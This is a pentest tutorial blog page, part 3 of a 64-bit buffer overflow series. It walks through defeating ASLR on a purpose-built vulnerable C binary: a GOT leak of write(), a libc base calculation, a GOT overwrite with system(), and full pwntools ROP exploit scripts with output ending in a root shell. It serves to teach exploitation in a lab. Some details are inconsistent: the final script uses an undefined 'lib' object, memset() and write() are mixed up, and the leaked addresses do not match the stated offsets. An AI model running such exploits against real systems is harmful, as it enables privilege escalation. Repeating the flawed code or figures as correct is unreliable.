{{tag>english Linux kali it-security blog pentest}}
====== Buffer overflow in the 64-bit stack - Part 3 ======
In [[en:it-security:blog:buffer_overflow_x64-2|Part 2]] we used the string ''/bin/zsh'' to the function ''System()'' function to open a root shell. To do this, however, we had to deactivate ASLR - ASLR changes function addresses every time the programme is restarted. Superkojiman describes in detail [[https://blog.techorganic.com|in his Blog]] how to circumvent this protection. But first we have to visualise a few things
The third part of the Buffer Overflow series.
\\
\\
===== Introduction =====
{{page>en:vorlagen:64_bit_stack_nav}}
==== Theory ====
{{it-security:blog:bof-part3-header.jpg?500 |}}
In Linux systems, dynamic programme libraries are usually used. This has the advantage that we do not have to rewrite every function in every programme, but can simply access the function of the system, which, for example, is stored in ''libc'' for example. If ASLR is now activated, the addresses are changed each time the programme is started.
=== PLT and GOT ===
PLT (Procedure Linkage Table) and GOT (Global Offset Table) are responsible for the interaction during dynamic linking. The function ''write()'' function does not point to the actual function when called, but to ''write@plt''. The GOT entry for the function is then requested from the PLT.
The GOT now contains all ''libc'' addresses and PLT redirects the execution to them. If the address does not yet exist, ''ld.so'' searches for it and saves it in the GOT. We can now utilise this principle.((https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got))
=== Leak and Overwrite ===
To get to our root shell, we now have to do the following:
- We leak the GOT entry for the function ''write()''
- We need the base address for ''libc''to be able to calculate the addresses of other functions. The ''libc''-base address is the difference between the address of ''memset()'' and the ''write()''-offset from ''libc.so.6''
- We obtain the address of a library function by calling the respective ''libc.so.6''offset with the ''libc''-base address
- In the GOT, we overwrite an address with the one from ''system()''so that we can issue a system command when calling the function
[-------------------------------------code-------------------------------------]
0x4011de : lea rax,[rbp-0xa0]
0x4011e5 : mov rsi,rax
0x4011e8 : mov edi,0x1
=> 0x4011ed : call 0x401030
0x4011f2 : mov eax,0x0
0x4011f7 : leave
\\
\\
===== Dependencies =====
* socat mod [[gh>andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat]]
* pwntools ((https://docs.pwntools.com/en/stable/install.html))
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
\\
\\
==== C Programme ====
The source code and the compiled binary are also available on [[gh>psycore8/nosoc-bof/tree/main/part-3|Github]].
/* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */
/* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3 */
/* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */
#include
#include
#include
void helper() {
asm("pop %rdi; pop %rsi; pop %rdx; ret");
}
int vuln() {
char buf[150];
ssize_t b;
memset(buf, 0, 150);
printf("Enter input: ");
b = read(0, buf, 400);
printf("Recv: ");
write(1, buf, b);
return 0;
}
int main(int argc, char *argv[]){
setbuf(stdout, 0);
vuln();
return 0;
}
\\
\\
===== Debug =====
{{page>en:vorlagen:attention}}
==== Start socat Listener ====
The supplied socat has mechanisms to protect the memory. There is a modified version on Github in the Dependencies section.
/dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
\\
\\
==== GOT address from write ====
We check where the path to the ''libc'' is:
ldd bof-part3
linux-vdso.so.1 (0x00007ffe5d956000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000)
/lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000)
We then find the offset for ''write()'' function:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write
2839: 00000000000f7af0 157 FUNC WEAK DEFAULT 16 write@@GLIBC_2.2.5
\\
\\
==== Breakpoint for write ====
We now have to find out at which point ''write()'' is called.
0x4011e8 : mov edi,0x1
=> 0x4011ed : call 0x401030
0x4011f2 : mov eax,0x0
The call is made at ''0x4011ed'' and we set our breakpoint here.
echo "br *0x4011ed" >> ~/.gdbinit
\\
\\
==== attach gdb to socat ====
gdb -q -p `pidof socat`
Breakpoint 1 at 0x4011ed
Attaching to process 111187
\\
\\
==== Connection with port 2323 ====
We connect with nc and trigger the breakpoint.
nc localhost 2323
Enter input: 123
Recv: 123
\\
\\
==== Search for write GOT ====
Once our breakpoint is reached, we search for the ''write'' GOT address
gdb-peda$ x/gx 0x404000
0x404000 : 0x0000000000401036
gdb-peda$ x/5i 0x0000000000401036
0x401036 : push 0x0
0x40103b : jmp 0x401020
0x401040 : jmp QWORD PTR [rip+0x2fc2] # 0x404008
0x401046 : push 0x1
0x40104b : jmp 0x401020
We go one step further without jumping into the function. Then we search again.
next
gdb-peda$ x/gx 0x404000
0x404000 : 0x00007f559dd76af0
gdb-peda$ x/5i 0x00007f559dd76af0
0x7f559dd76af0 <__GI___libc_write>: cmp BYTE PTR [rip+0xe3ae1],0x0 # 0x7f559de5a5d8 <__libc_single_threaded>
0x7f559dd76af7 <__GI___libc_write+7>: je 0x7f559dd76b10 <__GI___libc_write+32>
0x7f559dd76af9 <__GI___libc_write+9>: mov eax,0x1
0x7f559dd76afe <__GI___libc_write+14>: syscall
0x7f559dd76b00 <__GI___libc_write+16>: cmp rax,0xfffffffffffff000
At this point, the address points to ''write()''
\\
\\
===== Exploit =====
==== Stage 1: write address ====
So let's write a first exploit to ''write()'' to leak.
#!/usr/bin/env python
from pwn import *
pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget
bin=ELF("./bof-part3")
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
buf = b"A"*168 # RIP Offset
buf += p64(pop3ret) # POP Argumente
buf += p64(constants.STDOUT_FILENO) # stdout
buf += p64(bin.got[b'write']) # lese von write@got
buf += p64(0x8) # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt
buf += b'EOPAY' # Ende des Payloads
print("[+] send payload")
s.send(buf) # buf überschreibt RIP
s.recvuntil(b'EOPAY') # Empfange Daten bis EOPAY
print("[+] recvd \'EOPAY\'")
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
We run the whole thing and get the following output
[+] Opening connection to 127.0.0.1 on port 2323: Done
[+] send payload
[+] recvd 'EOPAY'
[+] leaked write address: 0x7f6805548e80
[*] Closed connection to 127.0.0.1 port 2323
The first address has been leaked.
==== Stage 2 - libc Base and system ====
Now we need the libc base address and the address of ''system()''. We calculate these as follows:
* $base(libc) = got(write) - offset(write)$
* $address(system) = base(libc) + offset(system)$
We get the offset address like this:
┌──(kali㉿kali)-[~/repo]
└─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1022: 000000000004c920 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
So we revise our exploit:
#!/usr/bin/env python
from pwn import *
pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget
write_off = 0x0f7af0
system_off = 0x04c920
bin=ELF("./bof-part3")
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
buf = b"A"*168 # RIP offset
buf += p64(pop3ret) # POP Argumente
buf += p64(constants.STDOUT_FILENO) # stdout
buf += p64(bin.got[b'write']) # lese von write@got
buf += p64(0x8) # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt
buf += b'EOPAY' # Ende des Payloads
print("[+] send payload")
s.send(buf)
s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
libc_base = got_leak - write_off # Berechne libc Basis
print("[+] libc base is at", hex(libc_base) )
system_addr = libc_base + system_off # Berechne system Adresse
print("[+] system() is at", hex(system_addr) )
And now let's look at the output:
[+] Opening connection to 127.0.0.1 on port 2323: Done
[+] send payload
[+] recvd 'EOPAY'
[+] leaked write address: 0x7f73dc1c7e80
[+] libc base is at 0x7f73dc12c340
[+] system() is at 0x7f73dc178c60
[*] Closed connection to 127.0.0.1 port 2323
\\
\\
==== Stage 3 - Overwrite address and execute code ====
For the last section, we need a writable memory area. To do this, we list the memory allocations in gdb.
gdb-peda$ info proc mappings
process 105836
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x400000 0x401000 0x1000 0x0 r--p /home/kali/repo/bof-part3
0x401000 0x402000 0x1000 0x1000 r-xp /home/kali/repo/bof-part3
0x402000 0x403000 0x1000 0x2000 r--p /home/kali/repo/bof-part3
0x403000 0x404000 0x1000 0x2000 r--p /home/kali/repo/bof-part3
0x404000 0x405000 0x1000 0x3000 rw-p /home/kali/repo/bof-part3
0x7f0f6fb35000 0x7f0f6fb38000 0x3000 0x0 rw-p
The range 0x404000 - 0x405000 is writable and static. Let's take a closer look at this.
gdb-peda$ x/30i 0x404000
...
0x404027 : add BYTE PTR [rax],al
0x404029: add BYTE PTR [rax],al
0x40402b: add BYTE PTR [rax],al
...
0x404029 should be perfect for our purpose.
#!/usr/bin/env python
from pwn import *
pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget
write_off = 0x0f7af0
system_off = 0x04c920
writable = 0x404029
bin=ELF("./bof-part3")
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
buf = b"A"*168 # padding to RIP's offset
buf += p64(pop3ret) # POP Argumente
buf += p64(constants.STDOUT_FILENO) # stdout
buf += p64(bin.got[b'write']) # lese von write@got
buf += p64(0x8) # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt
# Teil 2: schreibe system Adresse in write got mittels read
buf+=p64(pop3ret)
buf+=p64(constants.STDIN_FILENO)
buf+=p64(bin.got[b'write']) #write@got
buf+=p64(0x8)
buf+=p64(bin.plt[b'read']) #read@plt
# Teil 3: schreibe /bin/sh in beschreibbare Adresse
buf+=p64(pop3ret)
buf+=p64(constants.STDIN_FILENO)
buf+=p64(writable)
buf+=p64(0x8)
buf+=p64(bin.plt[b'read'])
# Teil 4: rufe system auf
buf+=p64(pop3ret)
buf+=p64(writable)
buf+=p64(0xdeadbeef)
buf+=p64(0xcafebabe)
buf+=p64(bin.plt[b'write'])
buf += b'EOPAY'
print("[+] send payload")
s.send(buf) # buf überschreibt RIP
s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
#s2
libc_base=got_leak-write_off
print(hex(lib.symbols[b'write']))
print("[+] libc base is at {}".format(hex(libc_base)))
system_addr=libc_base+system_off
print(hex(lib.symbols[b'system']))
print("[+] system() is at {}".format(hex(system_addr)))
#part 2
print("[+] sending system() address")
s.send(p64(system_addr))
#part 3
print("[+] sending /bin/zsh")
s.send(b'/bin/zsh')
#part 4
print("[+] trying shell")
s.interactive()
\\
\\
==== Optimisations ====
The exploit with further pwntools optimisations and automated socat start can be found in the [[gh>psycore8/nosoc-bof/tree/main/part-3|Github repository]]. The exploit was originally written by [[https://stackoverflow.com/users/8786498/zapho-oxx|Zopho Oxx]] ((https://stackoverflow.com/a/48571747))
\\
\\
==== root shell ====
We start socat and bof-part3 as root
su root
┌──(root㉿kali)-[/home/kali/repo]
└─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
and then the exploit as an unprivileged user
┌──(kali㉿kali)-[~/repo]
└─$ python3 buffer3.py
We get our root shell and have control over the system.
{{it-security:blog:bof-dism3-1.png?500|}}
\\
\\
===== Repository =====
^ Project files | {{ it-security:nosoc-repo-bof-part3.zip |}} |
^ Size | 9.93 KB |
^ Prüfsumme (SHA256) | d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8 |
===== References =====
* [[https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/]]
~~DISCUSSION~~